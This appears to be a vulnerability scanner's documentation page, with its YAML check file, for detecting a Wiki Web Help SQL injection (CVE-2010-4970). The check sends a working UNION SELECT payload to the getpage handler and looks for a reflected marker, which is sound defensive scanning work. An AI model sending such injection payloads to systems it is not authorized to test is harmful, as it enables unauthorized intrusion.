Wiki Web Help — 1 vulnerability check

noctis ships 1 vulnerability check for Wiki Web Help, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Wiki Web Help <= 0.2.8 SQL Injection (getpage id parameter)

CVECVE-2010-4970
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/wikiwebhelp/CVE-2010-4970.yaml

Detects CVE-2010-4970 by sending a UNION SELECT payload to the getpage handler and confirming the reflected SQL-Injection-Test marker in the HTTP response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /handlers/getpage.php?id=9999999+UNION+SELECT+1,0x53514c2d496e6a656374696f6e2d5465737…
  2. Checks resp.banner for SQL-Injection-Test → finding QoD 75: Wiki Web Help SQLi confirmed — UNION SELECT payload on the getpage id parameter reflected the SQL-Injection-Test marker at …:…

References:

Feed source — tests/vulnerabilities/wikiwebhelp/CVE-2010-4970.yaml
# Wiki Web Help <= 0.2.8 — SQL Injection (CVE-2010-4970)
#
# Wiki Web Help fails to sanitize the `id` parameter of the getpage handler
# before using it in an SQL query. An unauthenticated attacker injects a
# UNION SELECT that reflects a marker string drawn from the database,
# confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_wikihelp_41344.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
uid: 9c348d7f-38c1-4ea0-a41e-08020974a51d
name: "Wiki Web Help <= 0.2.8 SQL Injection (getpage id parameter)"
description: |
  Detects CVE-2010-4970 by sending a UNION SELECT payload to the getpage handler and
  confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2010-4970]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [wikiwebhelp, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4970"
  - "OpenVAS/Greenbone NASL 2010/gb_wikihelp_41344.nasl (GPL-2.0-only)"

steps:
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /handlers/getpage.php?id=9999999+UNION+SELECT+1,0x53514c2d496e6a656374696f6e2d54657374,3,4,5,6,7+FROM+user+LIMIT+1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Wiki Web Help SQLi confirmed — UNION SELECT payload on the getpage id parameter reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"

View these feeds on GitHub